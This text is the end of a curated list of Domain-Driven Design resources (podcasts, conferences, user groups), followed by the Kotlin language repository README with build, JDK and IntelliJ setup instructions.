[Eric Evans on Domain Driven Design on DotNetRocks](http://dotnetrocks.com/?show=236) - 10 May 2007. - [Jimmy Nilsson on Domain Driven Design on DotNetRocks](http://dotnetrocks.com/?show=191) - 29 August 2006. - [Being the Worst](http://www.beingtheworst.com) - 2012 thru 2016. - [Software Engineering Radio Episode 225: Eric Evans on Domain-Driven Design at 10 Years](http://www.se-radio.net/2015/05/se-radio-episode-226-eric-evans-on-domain-driven-design-at-10-years/) - 13 May 2015. - [Software Engineering Radio Episode 218: Udi Dahan on CQRS (Command Query Responsibility Segregation)](http://www.se-radio.net/2015/01/episode-218-udi-dahan-on-cqrs-command-query-responsibility-segregation/) - 30 January 2015. ## Conferences - [Domain-Driven Design Europe](https://dddeurope.com) - The Leading DDD conference (online during COVID19) - [EventSourcing](https://dddeurope.com/2020/#eventsourcing) - A new event for the CQRS/EventSourcing community - [DDD Foundations](https://dddeurope.com/2020/#foundations) - A curated conference for DDD newcomers - [Explore DDD - USA](http://exploreddd.com/) - [Kandddinsky - Germany](http://kandddinsky.com/) ## User Groups - [Collective CFP](https://sessionize.com/ddd-meetups) - Submit your talks to all the DDD user groups at once. - [Map of user groups in Europe](https://datawrapper.dwcdn.net/9FNZI/) - [Map of user groups in North America](https://datawrapper.dwcdn.net/nbZkd/) - [Map of user groups in Asia](https://datawrapper.dwcdn.net/oin66/) - [Map of user groups in Africa](https://datawrapper.dwcdn.net/yaEOa/) - [Virtual](https://virtualddd.com/) - [Worldwide](https://www.meetup.com/worldwide-eventstorming-meetup/) - Specific about EventStorming - [Austria](https://www.meetup.com/ddd-vienna/) - [Barcelona](https://www.meetup.com/dddbcn/) - [Belfast](https://dddbelfast.com/) - [Belgium](http://www.meetup.com/dddbelgium/) - [Berlin](http://www.meetup.com/Domain-Driven-Design-Berlin/) - [Cologne/Bonn](https://www.meetup.com/Domain-Driven-Design-Koln-Bonn/) - [Cracow](http://www.meetup.com/ddd-krk/) - [DDD Taiwan Community](https://www.facebook.com/groups/dddtaiwan/) - [Denver](https://www.meetup.com/ddd-denver/) - [Iran](https://t.me/ddd_iran/) - [Greece](https://www.meetup.com/dddgreece/) - [Hamburg](https://www.meetup.com/DDD-HH-Domain-driven-Design-Hamburg/) - [London](http://www.meetup.com/dddlondon/) - [Munich](https://www.meetup.com/Microservices-Meetup-Munich/) - [Nederland](http://www.meetup.com/Domain-Driven-Design-Nederland/) - [Norway](https://www.meetup.com/dddnorway/) - [Phoenix](https://www.meetup.com/DDD-Phoenix) - [Warsaw](https://www.meetup.com/DDD-WAW) - [Wroclaw](http://www.meetup.com/DDD-WRO) - [Russia](https://t.me/dddevotion) ## Tools - [Domain Storytelling](http://www.domainstorytelling.org/) - a knowledge-crunching technique that helps the people involved to familiarize themselves with the domain and work out a model that expresses their shared understanding. Available as a [print-out template](http://www.domainstorytelling.org/images/DST_Whiteboard-Kit.pdf), as well as open-source online tool, [WPS Modeler](https://www.wps.de/modeler) ([source](https://github.com/wps/domain-story-modeler)). ## License [](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Nick Chamberlain](https://buildplease.com) has waived all copyright and related or neighboring rights to this work.

[](https://confluence.jetbrains.com/display/ALL/JetBrains+on+GitHub) [](https://teamcity.jetbrains.com/buildConfiguration/Kotlin_KotlinPublic_Compiler?branch=%3Cdefault%3E&buildTypeTab=overview&mode=builds) [](https://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.jetbrains.kotlin%22) [](https://www.apache.org/licenses/LICENSE-2.0) [](https://ge.jetbrains.com/scans?search.rootProjectNames=Kotlin) # Kotlin Programming Language Welcome to [Kotlin](https://kotlinlang.org/)! It is an open-source, statically typed programming language supported and developed by [JetBrains](https://www.jetbrains.com/) and open-source contributors. Some handy links: * [Kotlin Site](https://kotlinlang.org/) * [Getting Started Guide](https://kotlinlang.org/docs/tutorials/getting-started.html) * [Try Kotlin](https://play.kotlinlang.org/) * [Kotlin Standard Library](https://kotlinlang.org/api/latest/jvm/stdlib/index.html) * [Issue Tracker](https://youtrack.jetbrains.com/issues/KT) * [Kotlin YouTube Channel](https://www.youtube.com/channel/UCP7uiEZIqci43m22KDl0sNw) * [Forum](https://discuss.kotlinlang.org/) * [Kotlin Blog](https://blog.jetbrains.com/kotlin/) * [Subscribe to Kotlin YouTube channel](https://www.youtube.com/channel/UCP7uiEZIqci43m22KDl0sNw) * [Follow Kotlin on Twitter](https://twitter.com/kotlin) * [Public Slack channel](https://slack.kotlinlang.org/) * [TeamCity CI build](https://teamcity.jetbrains.com/project.html?tab=projectOverview&projectId=Kotlin) ## Kotlin Multiplatform capabilities Support for multiplatform programming is one of Kotlin’s key benefits. It reduces time spent writing and maintaining the same code for [different platforms](https://kotlinlang.org/docs/reference/mpp-supported-platforms.html) while retaining the flexibility and benefits of native programming. * [Kotlin Multiplatform Mobile](https://kotlinlang.org/lp/mobile/) for sharing code between Android and iOS * [Getting Started with Kotlin Multiplatform Mobile Guide](https://kotlinlang.org/docs/mobile/create-first-app.html) * [Kotlin Multiplatform Benefits](https://kotlinlang.org/docs/reference/multiplatform.html) * [Share code on all platforms](https://kotlinlang.org/docs/reference/mpp-share-on-platforms.html#share-code-on-all-platforms) * [Share code on similar platforms](https://kotlinlang.org/docs/reference/mpp-share-on-platforms.html#share-code-on-similar-platforms) ## Editing Kotlin * [Kotlin IntelliJ IDEA Plugin](https://kotlinlang.org/docs/tutorials/getting-started.html) ([source code](https://github.com/JetBrains/intellij-community/tree/master/plugins/kotlin)) * [Kotlin Eclipse Plugin](https://kotlinlang.org/docs/tutorials/getting-started-eclipse.html) * [Kotlin Sublime Text Package](https://github.com/vkostyukov/kotlin-sublime-package) ## Build environment requirements This repository is using [Gradle toolchains](https://docs.gradle.org/current/userguide/toolchains.html) feature to select and auto-provision required JDKs from [AdoptOpenJdk](https://adoptopenjdk.net) project. Unfortunately [AdoptOpenJdk](https://adoptopenjdk.net) project does not provide required JDK 1.6 and 1.7 images, so you could either download them manually and provide path to installation via `JDK_16` and `JDK_17` environment variables or use following SDK managers: - [Asdf-vm](https://asdf-vm.com/) - [Jabba](https://github.com/shyiko/jabba) - [SDKMAN!](https://sdkman.io/) Alternatively, it is still possible to only provide required JDKs via environment variables (see [gradle.properties](./gradle.properties#L5) for supported variable names). To ensure Gradle uses only JDKs from environmental variables - disable Gradle toolchain auto-detection by passing `-Porg.gradle.java.installations.auto-detect=false` option (or put it into `$GRADLE_USER_HOME/gradle.properties`). For local development, if you're not working on the standard library, it's OK to avoid installing JDK 1.6 and JDK 1.7. Add `kotlin.build.isObsoleteJdkOverrideEnabled=true` to the `local.properties` file, so build will only use JDK 1.8+. Note, that in this case, build will have Gradle remote build cache misses for some tasks. Note: The JDK 6 for MacOS is not available on Oracle's site. You can install it by ```bash $ brew tap homebrew/cask-versions $ brew install --cask java6 ``` On Windows you might need to add long paths setting to the repo: git config core.longpaths true ## Building The project is built with Gradle. Run Gradle to build the project and to run the tests using the following command on Unix/macOS: ./gradlew <tasks-and-options> or the following command on Windows: gradlew <tasks-and-options> On the first project configuration gradle will download and setup the dependencies on * `intellij-core` is a part of command line compiler and contains only necessary APIs. * `idea-full` is a full blown IntelliJ IDEA Community Edition to be used in the plugin module. These dependencies are quite large, so depending on the quality of your internet connection you might face timeouts getting them. In this case, you can increase timeout by specifying the following command line parameters on the first run: ./gradlew -Dhttp.socketTimeout=60000 -Dhttp.connectionTimeout=60000 ## Important gradle tasks - `clean` - clean build results - `dist` - assembles the compiler distribution into `dist/kotlinc/` folder - `install` - build and install all public artifacts into local maven repository - `coreLibsTest` - build and run stdlib, reflect and kotlin-test tests - `gradlePluginTest` - build and run gradle plugin tests - `compilerTest` - build and run all compiler tests To reproduce TeamCity build use `-Pteamcity=true` flag. Local builds don't run proguard and have jar compression disabled by default. **OPTIONAL:** Some artifacts, mainly Maven plugin ones, are built separately with Maven. Refer to [libraries/ReadMe.md](libraries/ReadMe.md) for details. To build Kotlin/Native, see [kotlin-native/README.md](kotlin-native/README.md#building-from-source). ## <a name="working-in-idea"></a> Working with the project in IntelliJ IDEA Working with the Kotlin project requires at least IntelliJ IDEA 2019.1. You can download IntelliJ IDEA 2019.1 [here](https://www.jetbrains.com/idea/download). After cloning the project, to import the project in IntelliJ choose the project directory in the Open project dialog. Then, after project opened, select `File` -> `New` -> `Module from Existing Sources...` in the menu, and select `build.gradle.kts` file in the project's root folder. In the import dialog, select `use default gradle wrapper`. To be able to run tests from IntelliJ easily, check `Delegate IDE build/run actions to Gradle` and choose `Gradle Test Runner` in the Gradle runner settings after importing the project. At this time, you can use the latest released `1.6.x` version of the Kotlin plugin for working with the code. To make sure you have the latest version installed, use `Tools` -> `Kotlin` -> `Configure Kotlin Plugin Updates`. For handy work with compiler tests it's recommended to use [ Kotlin Compiler Test Helper](https://github.com/demiurg906/test-data-helper-plugin) ### Dependency verification We have a [dependencies verification](https://docs.gradle.org/current/userguide/dependency_verification.html) feature enabled in the repository for all Gradle builds. Gradle will check hashes (md5 and sha256) of used dependencies and will fail builds with `Dependency verification failed` errors when local artifacts are absent or have different hashes listed in the [verification-metadata.xml](https://github.com/JetBrains/kotlin/blob/master/gradle/verification-metadata.xml) file. It's expected that `verification-metadata.xml` should only be updated with the commits that modify the build. There are some tips how to perform such updates: - Use auto-generation for getting an initial list of new hashes (verify updates relate to you changes). `./gradlew -i --write-verification-metadata sha256,md5 -Pkotlin.native.enabled=true help` *(any other task may be used instead of `help`)* - Consider removing old versions from the file if you are updating dependencies. - Leave meaningful `origin` attribute (instead of `Generated by Gradle`) if you did some manual verification of the artifact. - Always do manual verification if several hashes are needed, and a new `also-trust` tag has to be added. - If you’re adding a dependency with OS mentioning in an artifact name (`darwin`, `mac`, `osx`, `linux`, `windows`), remember to add counterparts for other platforms. ## Using -dev and -SNAPSHOT versions We publish `-dev` and `-SNAPSHOT` versions frequently. For `-dev` versions you can use the [list of available versions](https://maven.pkg.jetbrains.space/kotlin/p/kotlin/bootstrap/org/jetbrains/kotlin/kotlin-compiler/maven-metadata.xml) and include this maven repository: `maven { url = uri("https://maven.pkg.jetbrains.space/kotlin/p/kotlin/bootstrap") }` For `-SNAPSHOT` versions that are updated daily, you can use the [list of available versions](https://oss.sonatype.org/content/repositories/snapshots/org/jetbrains/kotlin/kotlin-compiler/maven-metadata.xml) and include this maven repository: `maven { url = uri("https://oss.sonatype.org/content/repositories/snapshots/") }` # License Kotlin is distributed under the terms of the Apache License (Version 2.0). See [license folder](license/README.md) for details. # Contributing Please be sure to review Kotlin's [contributing guidelines](docs/contributing.md) to learn how to help the project.